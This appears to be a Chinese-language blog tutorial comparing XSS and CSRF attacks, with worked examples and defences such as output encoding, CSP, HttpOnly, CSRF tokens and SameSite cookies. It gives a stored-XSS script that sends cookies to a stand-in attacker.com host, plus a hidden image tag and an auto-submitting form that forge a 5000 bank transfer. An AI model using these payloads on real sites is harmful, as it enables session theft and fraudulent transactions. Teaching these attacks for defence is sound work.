XSS攻击和CSRF攻击的区别, 完整示例攻击和防御介绍

XSS(跨站脚本攻击,Cross-Site Scripting)和 CSRF(跨站请求伪造,Cross-Site Request Forgery)是两种常见的 Web 安全漏洞,它们的攻击原理、目标和防御方式有显著区别。下面将从定义、攻击流程、完整示例、危害、防御措施等方面进行详细对比说明。


一、XSS 攻击(Cross-Site Scripting)

1. 定义

XSS 是一种注入型攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户浏览该页面时,脚本会在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向到钓鱼网站等。

2. 攻击类型

  • 反射型 XSS:恶意脚本来自当前 HTTP 请求(如 URL 参数),服务器直接将其嵌入响应。
  • 存储型 XSS:恶意脚本被永久存储在服务器(如评论区、用户资料),所有访问该内容的用户都会中招。
  • DOM 型 XSS:完全在客户端通过修改 DOM 触发,不涉及服务器响应。

3. 完整示例(存储型 XSS)

场景:

一个论坛允许用户发表评论,但未对输入做任何过滤。

攻击者操作:

在评论框中输入:

html 复制代码
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
后果:

所有查看该评论的用户,浏览器都会执行这段脚本,将其 Cookie 发送给攻击者服务器。

4. 危害

  • 窃取用户 Cookie / Session ID
  • 劫持用户账户
  • 执行任意前端操作(如转账、发消息)
  • 钓鱼、挂马等

5. 防御措施

  • 输入过滤与转义 :对用户输入进行 HTML 实体编码(如 <&lt;)。
  • 输出编码:根据上下文(HTML、JS、URL、CSS)使用不同编码方式。
  • 设置 HttpOnly Cookie:防止 JS 读取敏感 Cookie。
  • Content Security Policy (CSP):限制可加载的脚本来源。
  • 使用安全框架 :如 React/Vue 默认转义,避免直接使用 innerHTML

二、CSRF 攻击(Cross-Site Request Forgery)

1. 定义

CSRF 攻击利用用户已登录的身份,在用户不知情的情况下,诱使其浏览器向目标网站发送恶意请求(如转账、改密码)。关键在于:浏览器自动携带 Cookie

2. 攻击前提

  • 用户已登录目标网站(如银行网站),存在有效会话 Cookie。
  • 目标网站未验证请求来源(如缺少 CSRF Token)。
  • 用户访问了攻击者控制的页面(如恶意广告、钓鱼邮件)。

3. 完整示例(转账 CSRF)

场景:

银行网站有一个转账接口:

复制代码
POST /transfer
参数:to=张三&amount=1000

且仅依赖 Cookie 验证身份。

攻击者构造恶意页面(如 attacker.com):
html 复制代码
<img src="https://bank.com/transfer?to=攻击者&amount=5000" width="0" height="0" />

或使用自动提交表单:

html 复制代码
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="攻击者" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
用户行为:

用户在已登录银行网站的情况下,访问了 attacker.com 页面。

后果:

浏览器自动携带 bank.com 的 Cookie 发起转账请求,成功转出 5000 元。

4. 危害

  • 非授权操作(转账、删数据、改密码)
  • 利用用户权限执行高危操作
  • 通常结合 XSS 更危险(XSS 可绕过 CSRF 防御)

5. 防御措施

  • CSRF Token:每个表单/请求包含一次性随机 Token,服务端校验。

  • SameSite Cookie 属性

    http 复制代码
    Set-Cookie: sessionid=abc123; SameSite=Lax
    • Strict:完全禁止跨站携带 Cookie。
    • Lax:允许安全方法(GET)跨站,阻止 POST 等。
  • 验证 Referer / Origin 头:检查请求来源是否合法(但可能被伪造或缺失)。

  • 双重提交 Cookie 模式:Token 同时放在 Cookie 和请求参数中,服务端比对。


三、XSS 与 CSRF 对比总结

特性 XSS CSRF
攻击目标 用户(窃取信息、控制浏览器) 应用(以用户身份执行操作)
是否需要用户交互 通常需要(访问含恶意脚本页面) 通常需要(访问恶意页面)
是否依赖 Cookie 自动发送
能否读取响应内容 能(同源策略下) 不能(受 SOP 限制)
典型防御 输入/输出转义、CSP、HttpOnly CSRF Token、SameSite Cookie
能否互相利用 XSS 可绕过 CSRF 防御(如窃取 Token) CSRF 无法直接导致 XSS

四、综合防御建议

  1. 对所有用户输入进行严格验证与转义(防 XSS)。
  2. 关键操作使用 CSRF Token 并验证(防 CSRF)。
  3. 敏感 Cookie 设置 HttpOnly + Secure + SameSite=Lax/Strict
  4. 启用 CSP 策略,限制脚本来源。
  5. 定期安全审计与渗透测试

如有具体场景(如前后端分离架构、API 接口等),防御策略可能需调整(例如 API 使用 Bearer Token 可天然防 CSRF)。欢迎进一步提问!

相关推荐
数字护盾(和中)2 小时前
BAS模拟入侵攻击系统:前置防控核心,守护企业网络安全
网络·安全·web安全
卓豪终端管理3 小时前
每周5小时“隐形流失”,如何精准锁定并回收?
网络·安全·web安全
三七吃山漆4 小时前
攻防世界——Web_php_wrong_nginx_config
开发语言·nginx·安全·web安全·网络安全·php·ctf
Parasoft中国18 小时前
聚焦汽车网安落地!2026汽车网络安全标准及应用研讨会
人工智能·测试工具·安全·web安全·汽车
emma羊羊1 天前
Imagetragick 命令注入漏洞扫描
安全·web安全·imagetragick
bkspiderx1 天前
解密网络安全基石:SSL、TLS与HTTPS的前世今生
web安全·https·ssl·tls
¥懒大王¥1 天前
XSS-Game靶场教程
前端·安全·web安全·xss
lifejump1 天前
Pikachu | SSRF
服务器·web安全·安全性测试
Ancelin安心1 天前
关于代理的一些网络知识复盘
linux·运维·网络·计算机网络·web安全·ubuntu·网络安全
重生之我在番茄自学网安拯救世界1 天前
网络安全中级阶段学习笔记(十一):服务器解析漏洞全解析(原理、利用与防御)
运维·服务器·web安全·网络安全·渗透测试·服务器解析漏洞